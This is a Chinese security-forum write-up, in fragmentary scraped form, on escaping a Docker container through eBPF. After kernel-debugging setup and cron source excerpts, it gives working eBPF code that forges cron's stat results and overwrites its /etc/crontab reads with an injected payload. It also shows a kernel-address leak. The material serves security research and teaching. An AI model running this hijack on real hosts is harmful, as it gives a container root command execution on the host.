本文为看雪论坛精华文章
看雪论坛作者ID:ScUpax0s
最终要产生这样一个环境:
目前看到网上的貌似都是双机调试,但是双机还是比较麻烦,于是最好就是用QEMU来做。
1、首先编译对应的内核,得到vmlinux,bzImage。
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a $DIR/etc/fstab
echo 'securityfs /sys/kernel/security securityfs defaults 0 0' | sudo tee -a $DIR/etc/fstab
echo 'configfs /sys/kernel/config/ configfs defaults 0 0' | sudo tee -a $DIR/etc/fstab
echo 'binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc defaults 0 0' | sudo tee -a $DIR/etc/fstab
echo 'tmpfs /sys/fs/cgroup cgroup defaults 0 0' | sudo tee -a $DIR/etc/fstab
qemu-system-x86_64 \
-drive file=./stretch.img,format=raw \
-m 256 \
-net nic \
-net user,host=10.0.2.10,hostfwd=tcp::23505-:22 \
-enable-kvm \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial" \
-nographic \
-pidfile vm.pid \
ssh-keygen -f "/root/.ssh/known_hosts" -R "[localhost]:23505"
ssh -i ./stretch.id_rsa -p 23505 root@localhost
[email protected]:~#
apt install docker-ce
vim /etc/ssh/sshd_config
PermitRootLogin yes
passwd root
poweroff
Debian GNU/Linux 9 syzkaller ttyS0
syzkaller login: root
Password:
Unable to get valid context for root
Last login: Fri Dec 3 14:09:17 UTC 2021 from 10.0.2.10 on pts/0
Linux syzkaller 5.16.0-rc1 #3 SMP PREEMPT Wed Dec 1 09:46:37 PST 2021 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
[email protected]:~#
./check-config.sh /path/to/kernel/.config
# 1. Get rootfs(out of VM)
docker export $(docker create busybox) -o busybox.tar
# 2. put rootfs into VM's .img
[email protected]:~/container# mount -o loop ./stretch.img /mnt/chroot/
[email protected]:~/container# cp ./busybox.tar /mnt/chroot/root/
[email protected]:~/container# umount /mnt/chroot/
# 3. Finally, boot the QEMU, and untar the busybox.tar in ~ to rootfs/
[email protected]:~# cd rootfs/
[email protected]:~/rootfs# pwd
/root/rootfs
[email protected]:~/rootfs# ls
bin dev etc home proc root sys tmp usr var
# 4. Generate OCI config
docker-runc spec
[email protected]:~# ls
config.json rootfs
# 5. Run manually,
docker-runc run <ContainerName>
[email protected]:~# docker-runc run guoziyi
/ # ls
bin dev etc home proc root sys tmp usr var
/ # id
uid=0(root) gid=0(root)
/ # ps -ef
PID USER TIME COMMAND
1 root 0:00 sh
7 root 0:00 ps -ef
/ # exit
# 6.
vim config.json
"root": {
"path":"root",
"readonly":"false"
}
Mem: 261032K used, 1438232K free, 16624K shrd, 6996K buff, 101932K cached
CPU: 0.0% usr 0.3% sys 0.0% nic 99.4% idle 0.0% io 0.0% irq 0.0% sirq
Load average: 0.00 0.00 0.00 2/77 6
PID PPID USER STAT VSZ %VSZ CPU %CPU COMMAND
6 1 root R 1328 0.0 0 0.2 top
1 0 root S 1336 0.0 0 0.0 sh
[email protected]:~# pstree -pl
systemd(1)-+-agetty(244)
|-agetty(245)
|-cron(193)
|-dbus-daemon(189)---{dbus-daemon}(191)
|-dhclient(225)
|-rsyslogd(194)-+-{in:imklog}(196)
| |-{in:imuxsock}(195)
| `-{rs:main Q:Reg}(197)
|-sshd(247)-+-sshd(319)---bash(328)---docker-runc(497)-+-sh(507)---top(526)
/* task_struct member predeclarations (sorted alphabetically): */
struct fs_struct;
struct nsproxy;
struct task_struct {
#ifdef CONFIG_CGROUPS
/* Control Group info protected by css_set_lock: */
struct css_set __rcu *cgroups;
/* cg_list protected by css_set_lock and tsk->alloc_lock: */
struct list_head cg_list;
......
/* Namespaces: */
struct nsproxy *nsproxy;
......
/* Filesystem information: */
struct fs_struct *fs;
......
}
/*
* A structure to contain pointers to all per-process
* namespaces - fs (mount), uts, network, sysvipc, etc.
*
* The pid namespace is an exception -- it's accessed using
* task_active_pid_ns. The pid namespace here is the
* namespace that children will use.
*
* 'count' is the number of tasks holding a reference.
* The count for each namespace, then, will be the number
* of nsproxies pointing to it, not the number of tasks.
*
* The nsproxy is shared by tasks which share all namespaces.
* As soon as a single namespace is cloned or unshared, the
* nsproxy is copied.
*/
struct nsproxy {
atomic_t count; //refcount
struct uts_namespace *uts_ns;
struct ipc_namespace *ipc_ns;
struct mnt_namespace *mnt_ns;
struct pid_namespace *pid_ns_for_children; // pid namespace 比较特殊,我记得是设置完之后fork一下才能生效的,他会将fork之后的子进程作为new namespace的一号进程
struct net *net_ns;
struct time_namespace *time_ns;
struct time_namespace *time_ns_for_children;
struct cgroup_namespace *cgroup_ns;
};
struct fs_struct {
int users;
spinlock_t lock;
seqcount_spinlock_t seq;
int umask;
int in_exec;
struct path root, pwd;
} __randomize_layout;
struct path {
struct vfsmount *mnt;
struct dentry *dentry;
} __randomize_layout;
struct dentry {
/* RCU lookup touched fields */
unsigned int d_flags; /* protected by d_lock */
seqcount_spinlock_t d_seq; /* per dentry seqlock */
struct hlist_bl_node d_hash; /* lookup hash list */
struct dentry *d_parent; /* parent directory */
struct qstr d_name;
struct inode *d_inode; /* Where the name belongs to - NULL is
* negative */
unsigned char d_iname[DNAME_INLINE_LEN]; /* small names */
/* Ref lookup also touches following */
struct lockref d_lockref; /* per-dentry lock and refcount */
const struct dentry_operations *d_op;
struct super_block *d_sb; /* The root of the dentry tree */
unsigned long d_time; /* used by d_revalidate */
void *d_fsdata; /* fs-specific data */
union {
struct list_head d_lru; /* LRU list */
wait_queue_head_t *d_wait; /* in-lookup ones only */
};
struct list_head d_child; /* child of parent list */
struct list_head d_subdirs; /* our children */
/*
* d_alias and d_rcu can share memory
*/
union {
struct hlist_node d_alias; /* inode alias list */
struct hlist_bl_node d_in_lookup_hash; /* only for in-lookup ones */
struct rcu_head d_rcu;
} d_u;
} __randomize_layout;
....
struct fs_struct
-> struct path root
-> struct dentry *dentry -> struct qstr d_name;
gef➤ p ((struct task_struct *)0xffff88800c1b8000)->fs->root->dentry->d_name
$12 = {
{
{
hash = 0x2a81534f,
len = 0x6
},
hash_len = 0x62a81534f
},
name = 0xffff8880100a7b38 "rootfs"
}
gef➤
# container init
gef➤ p *$t->fs
$11 = {
......
umask = 0x12,
in_exec = 0x0,
root = {
mnt = 0xffff888010b86320,
dentry = 0xffff8880120b5700
},
pwd = {
mnt = 0xffff888010b86320,
dentry = 0xffff88801235d900
}
}
# host init
gef➤ p *$init->fs
$12 = {
......
umask = 0x0,
in_exec = 0x0,
root = {
mnt = 0xffff8880076b8da0,
dentry = 0xffff888008119200
},
pwd = {
mnt = 0xffff8880076b8da0,
dentry = 0xffff888008119200
}
}
gef➤ p *(struct nsproxy*)$t->nsproxy
$3 = {
count = {
counter = 0x1
},
uts_ns = 0xffff88800c6e91f0,
ipc_ns = 0xffff88801000e800,
mnt_ns = 0xffff88800694e800,
pid_ns_for_children = 0xffff88800cedd0c8,
net_ns = 0xffff88800ec78d40,
time_ns = 0xffffffff853ec0e0 <init_time_ns>,
time_ns_for_children = 0xffffffff853ec0e0 <init_time_ns>,
cgroup_ns = 0xffffffff853f4680 <init_cgroup_ns>
}
# init process
gef➤ p *(struct nsproxy *)0xffffffff852cd8a0
$4 = {
count = {
counter = 0x4c
},
uts_ns = 0xffffffff8521a720 <init_uts_ns>,
ipc_ns = 0xffffffff855a62a0 <init_ipc_ns>,
mnt_ns = 0xffff88800694e000,
pid_ns_for_children = 0xffffffff852cbf20 <init_pid_ns>,
net_ns = 0xffffffff858945c0 <init_net>,
time_ns = 0xffffffff853ec0e0 <init_time_ns>,
time_ns_for_children = 0xffffffff853ec0e0 <init_time_ns>,
cgroup_ns = 0xffffffff853f4680 <init_cgroup_ns>
}
gef➤ p *$t->cred
$8 = {
usage = {
counter = 0x3
},
uid = {
val = 0x0
},
gid = {
val = 0x0
},
suid = {
val = 0x0
},
sgid = {
val = 0x0
},
euid = {
val = 0x0
},
egid = {
val = 0x0
},
fsuid = {
val = 0x0
},
fsgid = {
val = 0x0
},
securebits = 0x0,
cap_inheritable = {
cap = {0x20000420, 0x0}
},
cap_permitted = {
cap = {0x20000420, 0x0}
},
cap_effective = {
cap = {0x20000420, 0x0}
},
cap_bset = {
cap = {0x20000420, 0x0}
},
cap_ambient = {
cap = {0x0, 0x0}
},
gef➤ p *$init->cred
$10 = {
usage = {
counter = 0xb
},
uid = {
val = 0x0
},
gid = {
val = 0x0
},
suid = {
val = 0x0
},
sgid = {
val = 0x0
},
euid = {
val = 0x0
},
egid = {
val = 0x0
},
fsuid = {
val = 0x0
},
fsgid = {
val = 0x0
},
securebits = 0x0,
cap_inheritable = {
cap = {0x0, 0x0}
},
cap_permitted = {
cap = {0xffffffff, 0x1ff}
},
cap_effective = {
cap = {0xffffffff, 0x1ff}
},
cap_bset = {
cap = {0xffffffff, 0x1ff}
},
cap_ambient = {
cap = {0x0, 0x0}
},
[email protected]:~/container/module_for_container# capsh --decode=0x20000420
WARNING: libcap needs an update (cap=40 should have a name).
0x0000000020000420=cap_kill,cap_net_bind_service,cap_audit_write
[email protected]:~/container/module_for_container# capsh --decode=0xffffffff
WARNING: libcap needs an update (cap=40 should have a name).
0x00000000ffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap
If your kernel doesn't come with BTF built-in, you'll need to build custom kernel. You'll need:
pahole 1.16+ tool (part of dwarves package), which performs DWARF to BTF conversion;
kernel built with CONFIG_DEBUG_INFO_BTF=y option;
[email protected]:~# ls -la /sys/kernel/btf/vmlinux
-r--r--r--. 1 root root 5883079 Dec 7 07:05 /sys/kernel/btf/vmlinux
git clone https://github.com/libbpf/libbpf-bootstrap.git
cd libbpf-bootstrap
cd libbpf/src && make
cd ../../examples/c
/* cat hello.bpf.c */
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
SEC("tracepoint/syscalls/sys_enter_execve")
int handle_tp(void *ctx)
{
int pid = bpf_get_current_pid_tgid()>> 32;
char fmt[] = "BPF triggered from PID %d.\n";
bpf_trace_printk(fmt, sizeof(fmt), pid);
return 0;
}
char LICENSE[] SEC("license") = "Dual BSD/GPL";
/* cat hello.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/resource.h>
#include <bpf/libbpf.h>
#include "hello.skel.h"
#define DEBUGFS "/sys/kernel/debug/tracing/"
/* logging function used for debugging */
static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
{
#ifdef DEBUGBPF
return vfprintf(stderr, format, args);
#else
return 0;
#endif
}
/* read trace logs from debug fs */
void read_trace_pipe(void)
{
int trace_fd;
trace_fd = open(DEBUGFS "trace_pipe", O_RDONLY, 0);
if (trace_fd < 0)
return;
while (1) {
static char buf[4096];
ssize_t sz;
sz = read(trace_fd, buf, sizeof(buf) - 1);
if (sz> 0) {
buf[sz] = 0;
puts(buf);
}
}
}
/* set rlimit (required for every app) */
static void bump_memlock_rlimit(void)
{
struct rlimit rlim_new = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) {
fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit!\n");
exit(1);
}
}
int main(int argc, char **argv)
{
struct hello_bpf *skel;
int err;
/* Set up libbpf errors and debug info callback */
libbpf_set_print(libbpf_print_fn);
/* Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything */
bump_memlock_rlimit();
/* Open BPF application */
skel = hello_bpf__open();
if (!skel) {
fprintf(stderr, "Failed to open BPF skeleton\n");
return 1;
}
/* Load & verify BPF programs */
err = hello_bpf__load(skel);
if (err) {
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup;
}
/* Attach tracepoint handler */
err = hello_bpf__attach(skel);
if (err) {
fprintf(stderr, "Failed to attach BPF skeleton\n");
goto cleanup;
}
printf("Hello BPF started, hit Ctrl+C to stop!\n");
read_trace_pipe();
cleanup:
hello_bpf__destroy(skel);
return -err;
}
APPS = minimal bootstrap uprobe kprobe fentry hello
[email protected]:~/libbpf-bootstrap/examples/c# ./hello
Hello BPF started, hit Ctrl+C to stop!
node-6172 [001] d... 1730.240057: bpf_trace_printk: BPF triggered from PID 6172.
sh-6174 [000] d... 1730.245028: bpf_trace_printk: BPF triggered from PID 6174.
sh-6173 [003] d... 1730.247639: bpf_trace_printk: BPF triggered from PID 6173.
node-6175 [003] d... 1734.181666: bpf_trace_printk: BPF triggered from PID 6175.
sh-6177 [002] d... 1734.184994: bpf_trace_printk: BPF triggered from PID 6177.
sh-6176 [001] d... 1734.187739: bpf_trace_printk: BPF triggered from PID 6176.
/* cat hello.bpf.c */
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
SEC("tracepoint/syscalls/sys_enter_execve")
int handle_tp(void *ctx)
{
int pid = bpf_get_current_pid_tgid()>> 32;
char fmt[] = "BPF triggered from PID %d.\n";
bpf_trace_printk(fmt, sizeof(fmt), pid);
return 0;
}
char LICENSE[] SEC("license") = "Dual BSD/GPL";
/*
* Helper macro to place programs, maps, license in
* different sections in elf_bpf file. Section names
* are interpreted by libbpf depending on the context (BPF programs, BPF maps,
* extern variables, etc).
* To allow use of SEC() with externs (e.g., for extern .maps declarations),
* make sure __attribute__((unused)) doesn't trigger compilation warning.
*/
#define SEC(name) \
_Pragma("GCC diagnostic push") \
_Pragma("GCC diagnostic ignored \"-Wignored-attributes\"") \
__attribute__((section(name), used)) \
_Pragma("GCC diagnostic pop")
#define DEBUGFS "/sys/kernel/debug/tracing/"
/* logging function used for debugging */
static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
{
#ifdef DEBUGBPF
return vfprintf(stderr, format, args);
#else
return 0;
#endif
}
/* Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything */
bump_memlock_rlimit();
/* set rlimit (required for every app) */
static void bump_memlock_rlimit(void)
{
struct rlimit rlim_new = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) {
fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit!\n");
exit(1);
}
}
/* read trace logs from debug fs */
void read_trace_pipe(void)
{
int trace_fd;
trace_fd = open(DEBUGFS "trace_pipe", O_RDONLY, 0);
if (trace_fd < 0)
return;
while (1) {
static char buf[4096];
ssize_t sz;
sz = read(trace_fd, buf, sizeof(buf) - 1);
if (sz> 0) {
buf[sz] = 0;
puts(buf);
}
}
}
#include "hello.skel.h"
/* Open BPF application */
skel = hello_bpf__open();
if (!skel) {
fprintf(stderr, "Failed to open BPF skeleton\n");
return 1;
}
/* Load & verify BPF programs */
err = hello_bpf__load(skel);
if (err) {
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup;
}
/* Attach tracepoint handler */
err = hello_bpf__attach(skel);
if (err) {
fprintf(stderr, "Failed to attach BPF skeleton\n");
goto cleanup;
}
[email protected]:~/libbpf-bootstrap/examples/c# cd .output/ && ls
bootstrap.bpf.o bootstrap.skel.h fentry.bpf.o fentry.skel.h hello.o kprobe.bpf.o kprobe.skel.h libbpf.a minimal.o pkgconfig uprobe.o
bootstrap.o bpf fentry.o hello.bpf.o hello.skel.h kprobe.o libbpf minimal.bpf.o minimal.skel.h uprobe.bpf.o uprobe.skel.h
man cron
NAME
cron - daemon to execute scheduled commands (Vixie Cron)
root 800 1 0 02:17 ? 00:00:00 /usr/sbin/cron -f
#define CRONDIR "/var/spool/cron"
#define SPOOL_DIR "crontabs"
#define SYSCRONTAB "/etc/crontab"
#define TMAX(a,b) (is_greater_than(a,b)?(a):(b))
#define TEQUAL(a,b) (a.tv_sec == b.tv_sec && a.tv_nsec == b.tv_nsec)
/* before we start loading any data, do a stat on SPOOL_DIR
* so that if anything changes as of this moment (i.e., before we've
* cached any of the database), we'll see the changes next time.
*/
if (stat(SPOOL_DIR, &statbuf) < OK) {
log_it("CRON", getpid(), "STAT FAILED", SPOOL_DIR);
(void) exit(ERROR_EXIT);
}
/* track system crontab file
*/
if (stat(SYSCRONTAB, &syscron_stat) < OK)
syscron_stat.st_mtim = ts_zero;
/* if spooldir's mtime has not changed, we don't need to fiddle with
* the database.
*
* Note that old_db->mtime is initialized to 0 in main(), and
* so is guaranteed to be different than the stat() mtime the first
* time this function is called.
*/
if (TEQUAL(old_db->mtim, TMAX(statbuf.st_mtim, syscron_stat.st_mtim))) {
Debug(DLOAD, ("[%ld] spool dir mtime unch, no load needed.\n",
(long)getpid()))
return;
}
/* something's different. make a new database, moving unchanged
* elements from the old database, reloading elements that have
* actually changed. Whatever is left in the old database when
* we're done is chaff -- crontabs that disappeared.
*/
new_db.mtim = TMAX(statbuf.st_mtim, syscron_stat.st_mtim);
new_db.head = new_db.tail = NULL;
if (!TEQUAL(syscron_stat.st_mtim, ts_zero))
process_crontab("root", NULL, SYSCRONTAB, &syscron_stat,&new_db, old_db);
struct stat
{
dev_t st_dev; /* ID of device containing file */文件使用的设备号
ino_t st_ino; /* inode number */ 索引节点号
mode_t st_mode; /* protection */ 文件对应的模式,文件,目录等
nlink_t st_nlink; /* number of hard links */ 文件的硬连接数
uid_t st_uid; /* user ID of owner */ 所有者用户识别号
gid_t st_gid; /* group ID of owner */ 组识别号
dev_t st_rdev; /* device ID (if special file) */ 设备文件的设备号
off_t st_size; /* total size, in bytes */ 以字节为单位的文件容量
blksize_t st_blksize; /* blocksize for file system I/O */ 包含该文件的磁盘块的大小
blkcnt_t st_blocks; /* number of 512B blocks allocated */ 该文件所占的磁盘块
time_t st_atime; /* time of last access */ 最后一次访问该文件的时间
time_t st_mtime; /* time of last modification */ /最后一次修改该文件的时间
time_t st_ctime; /* time of last status change */ 最后一次改变该文件状态的时间
};
const struct timespec ts_zero = {.tv_sec = 0L, .tv_nsec = 0L}
// tabname = "/etc/crontab"
if ((crontab_fd = open(tabname, O_RDONLY|O_NONBLOCK|O_NOFOLLOW, 0)) < OK) {
/* crontab not accessible?
*/
log_it(fname, getpid(), "CAN'T OPEN", tabname);
goto next_crontab;
}
if (fstat(crontab_fd, statbuf) < OK) {
log_it(fname, getpid(), "FSTAT FAILED", tabname);
goto next_crontab;
}
/* if crontab has not changed since we last read it
* in, then we can just use our existing entry.
*/
if (TEQUAL(u->mtim, statbuf->st_mtim)) {
Debug(DLOAD, (" [no change, using old data]"))
unlink_user(old_db, u);
link_user(new_db, u);
goto next_crontab;
}
typedef struct _user {
struct _user *next, *prev; /* links */
char *name;
struct timespec mtim; /* last modtime of crontab */
entry *crontab; /* this person's crontab */
} user;
typedef struct _entry {
struct _entry *next;
struct passwd *pwd;
char **envp;
char *cmd;
bitstr_t bit_decl(minute, MINUTE_COUNT);
bitstr_t bit_decl(hour, HOUR_COUNT);
bitstr_t bit_decl(dom, DOM_COUNT);
bitstr_t bit_decl(month, MONTH_COUNT);
bitstr_t bit_decl(dow, DOW_COUNT);
int flags;
#define MIN_STAR 0x01
#define HR_STAR 0x02
#define DOM_STAR 0x04
#define DOW_STAR 0x08
#define WHEN_REBOOT 0x10
#define DONT_LOG 0x20
} entry;
typedef struct _job {
struct _job *next;
entry *e;
user *u;
} job;
int
job_runqueue(void) {
job *j, *jn;
int run = 0;
for (j = jhead; j; j = jn) {
do_command(j->e, j->u); // run
jn = j->next;
free(j);
run++;
}
jhead = jtail = NULL;
return (run);
}
// When we enter syscall
SEC("raw_tracepoint/sys_enter")
int raw_tp_sys_enter(struct bpf_raw_tracepoint_args *ctx)
{
unsigned long syscall_id = ctx->args[1];
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
// executable is not cron, return
if (memcmp(comm, TARGET_NAME, sizeof(TARGET_NAME))){
return 0;
}
//bpf_printk("cron trigger!\n");
switch (syscall_id)
{
case 0:
handle_enter_read(ctx);
break;
case 3: // close
handle_enter_close(ctx);
break;
case 4:
handle_enter_stat(ctx);
break;
case 5:
handle_enter_fstat(ctx);
break;
case 257:
handle_enter_openat(ctx);
break;
default:
//bpf_printk("None of targets , break");
return 0;
}
return 0;
}
// When we exit syscall
SEC("raw_tracepoint/sys_exit")
int raw_tp_sys_exit(struct bpf_raw_tracepoint_args *ctx)
{
unsigned int id=0;
struct pt_regs *regs;
if (cron_pid == 0)
return 0;
int pid = bpf_get_current_pid_tgid() & 0xffffffff;
if (pid != cron_pid)
return 0;
//bpf_printk("Hit pid: %d\n",pid);
regs = (struct pt_regs *)(ctx->args[0]);
// Read syscall_id from orig_ax
id = BPF_CORE_READ(regs,orig_ax);
switch (id)
{
case 0:
handle_exit_read(ctx);
break;
case 4:
handle_exit_stat();
break;
case 5:
handle_exit_fstat();
break;
case 257:
handle_exit_openat(ctx);
break;
default:
return 0;
}
return 0;
}
/*
https://lore.kernel.org/bpf/[email protected]/
https://github.com/time-river/Linux-eBPF-Learning/tree/main/4-CO-RE
https://vvl.me/2021/02/eBPF-2-example-openat2/
*/
static __inline int handle_enter_stat(struct bpf_raw_tracepoint_args *ctx){
struct pt_regs *regs;
char buf[0x40];
char *pathname ;
regs = (struct pt_regs *)(ctx->args[0]);
// Read the correspoding string which ends at NULL
pathname = (char *)PT_REGS_PARM1_CORE(regs);
bpf_probe_read_str(buf,sizeof(buf),pathname);
// Check if the file is "/etc/crontab" or "crontabs"
if(memcmp(buf , CRONTAB , sizeof(CRONTAB)) && memcmp(buf,SPOOL_DIR,sizeof(SPOOL_DIR))){
return 0;
}
if(cron_pid == 0){
cron_pid = bpf_get_current_pid_tgid() & 0xffffffff;
//bpf_printk("New cron_pid: %d\n",cron_pid);
}
memcpy(filename_saved , buf , 64);
bpf_printk("[sys_enter::handle_enter_stat()] New filename_saved: %s\n",filename_saved);
//bpf_printk("%lx\n",PT_REGS_PARM2(regs));
// Read the file's state address, saved into statbuf_ptr from regs->rsi
statbuf_ptr = (struct stat *)PT_REGS_PARM2_CORE(regs);
//bpf_probe_read_kernel(&statbuf_ptr , sizeof(statbuf_ptr) , PT_REGS_PARM2(regs));
return 0;
}
static __inline int handle_exit_stat(){
if(statbuf_ptr == 0){
return 0;
}
bpf_printk("[sys_exit::handle_exit_stat()] cron %d stat() %s\n",cron_pid , filename_saved);
/*
At this point, we need to make sure that the following two conditions are both passed.
Which is equivalent to :
!TEQUAL(old_db->mtim, TMAX(statbuf.st_mtim, syscron_stat.st_mtim)) [1]
!TEQUAL(syscron_stat.st_mtim, ts_zero) [2]
*/
// We are tend to set statbuf.st_mtim ZERO and set syscron_stat.st_mtim a SMALL RANDOM VALUE
__kernel_ulong_t spool_dir_st_mtime = 0;
__kernel_ulong_t crontab_st_mtime = bpf_get_prandom_u32() & 0xffff; //bpf_get_prandom_u32 Returns a pseudo-random u32.
// Ensure the file is our target
// If we are checking SPOOL_DIR
if(!memcmp(filename_saved , SPOOL_DIR , sizeof(SPOOL_DIR))){
bpf_probe_write_user(&statbuf_ptr->st_mtime , &spool_dir_st_mtime , sizeof(spool_dir_st_mtime) );
}
if(!memcmp(filename_saved , CRONTAB , sizeof(CRONTAB))){
bpf_probe_write_user(&statbuf_ptr->st_mtime , &crontab_st_mtime ,sizeof(crontab_st_mtime));
}
bpf_printk("[sys_exit::handle_exit_stat()] Modify DONE\n");
// update
statbuf_ptr = 0;
return 0;
}
int openat(int dirfd, const char *pathname, int flags);
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
// int openat(int dirfd , const char * pathname
static __inline int handle_enter_openat(struct bpf_raw_tracepoint_args *ctx) {
struct pt_regs *regs;
char buf[0x40];
char *pathname ;
regs = (struct pt_regs *)(ctx->args[0]);
pathname = (char *)PT_REGS_PARM2_CORE(regs);
bpf_probe_read_str(buf,sizeof(buf),pathname);
// Check if open SYSCRONTAB
if(memcmp(buf , SYSCRONTAB , sizeof(SYSCRONTAB))){
return 0;
}
bpf_printk("[sys_enter::handle_enter_openat] We Got it: %s\n",buf);
// Save to openat_filename_saved
memcpy(openat_filename_saved , buf , 64);
return 0;
}
static __inline int handle_exit_openat(struct bpf_raw_tracepoint_args *ctx){
if(openat_filename_saved[0]==0){
return 0;
}
// Ensure we open SYSCROnTAB
if(!memcmp(openat_filename_saved , SYSCRONTAB , sizeof(SYSCRONTAB)))
{
// save the corresponding file descriptor
open_fd = ctx->args[1];
bpf_printk("[sys_exit::handle_exit_openat()] openat: %s, fd: %d\n",openat_filename_saved , open_fd);
openat_filename_saved[0] = '\0';
}
return 0;
}
int fstat(int fd, struct stat *statbuf);
// int fstat(int fd, struct stat *statbuf);
static __inline int handle_enter_fstat(struct bpf_raw_tracepoint_args *ctx){
struct pt_regs *regs;
char buf[0x40];
char *pathname ;
int fd=0;
regs = (struct pt_regs *)(ctx->args[0]);
fd = PT_REGS_PARM1_CORE(regs);
if(fd != open_fd){
return 0;
}
bpf_printk("[sys_enter::handle_enter_fstat] We Got fd: %d\n",fd);
statbuf_fstat_ptr = (struct stat *)PT_REGS_PARM2_CORE(regs);
return 0;
}
static __inline int handle_exit_fstat(){
if(open_fd == 0){
return 0;
}
if(statbuf_fstat_ptr == 0){
return 0;
}
__kernel_ulong_t crontab_st_mtime = bpf_get_prandom_u32() & 0xffff;
// bpf_printk("[sys_exit::handle_exit_fstat]: HIT!\n");
bpf_probe_write_user(&statbuf_fstat_ptr->st_mtime , &crontab_st_mtime ,sizeof(crontab_st_mtime));
bpf_printk("[sys_exit::handle_exit_fstat()] Modify DONE\n");
//open_fd = 0;
return 0;
}
// read(int fd, void *buf, size_t count);
static __inline int handle_enter_read(struct bpf_raw_tracepoint_args *ctx){
int pid=0;
pid = bpf_get_current_pid_tgid() & 0xffffffff;
if(pid!=cron_pid){
return 0;
}
struct pt_regs *regs;
char buf[0x40];
char *pathname ;
int fd=0;
regs = (struct pt_regs *)(ctx->args[0]);
fd = PT_REGS_PARM1_CORE(regs);
read_buf_ptr = (void *)PT_REGS_PARM2_CORE(regs);
if(fd != open_fd){
jump_flag = MISS;
return 0;
}
jump_flag = HIT;
bpf_printk("[sys_enter::handle_enter_read] fd is %d\n",fd);
bpf_printk("[sys_enter::handle_enter_read] read_buf is : 0x%lx\n",read_buf_ptr);
return 0;
}
static __inline int handle_exit_read(struct bpf_raw_tracepoint_args *ctx){
if(jump_flag == MISS){
return 0;
}
int pid=0;
pid = bpf_get_current_pid_tgid() & 0xffffffff;
if(pid!=cron_pid){
return 0;
}
if(read_buf_ptr == 0){
return 0;
}
ssize_t ret = ctx->args[1];
if (ret <= 0)
{
read_buf_ptr = 0;
bpf_printk("[sys_exut::handle_exit_read] read failed!\n");
return 0;
}
bpf_printk("[sys_exut::handle_exit_read] your read length: 0x%lx\n",ret);
if (ret < sizeof(PAYLOAD))
{
bpf_printk("PAYLOAD too long\n");
read_buf_ptr = 0;
return 0;
}
bpf_printk("[sys_exut::handle_exit_read] target write addr: 0x%lx\n",read_buf_ptr);
//bpf_printk("%s\n",(char *)(read_buf_ptr+0x2bb));
bpf_probe_write_user((char *)(read_buf_ptr), PAYLOAD, sizeof(PAYLOAD));
bpf_printk("[sys_exut::handle_exit_read] sizeof PAYLOAD(%d) ; HIJACK DONE!\n",sizeof(PAYLOAD));
read_buf_ptr = 0;
jump_flag = MISS;
return 0;
}
FROM ubuntu:20.04
ARG DEBIAN_FRONTEND=noninteractive
# 接下来使用sed -i进行文本的全局字符串替换来做换源操作
RUN \
sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.163.com/g" /etc/apt/sources.list && \
sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.163.com/g" /etc/apt/sources.list && \
apt-get update && \
apt-get -y dist-upgrade && \
apt-get install -y lib32z1 ssh cpio libelf-dev
RUN useradd -m ctf
CMD ["/bin/sh"]
EXPOSE 9999
docker build -t .
docker run -ti --cap-add SYS_ADMIN --name="sys_admin" <container_id> /bin/sh # 注意这里要给admin
docker cp ./hello <container_id>:/
journalctl -f -u cron
[email protected]:~/Eebpf-kit/libbpf-bootstrap/examples/c# ./spray
spray seq_operations done!
ffffffff8f93fdb0
看雪ID:ScUpax0s
https://bbs.pediy.com/user-home-876323.htm
# 往期推荐
2.内核漏洞学习-HEVD-UninitializedStackVariable
球分享
球点赞
球在看
点击“阅读原文”,了解更多!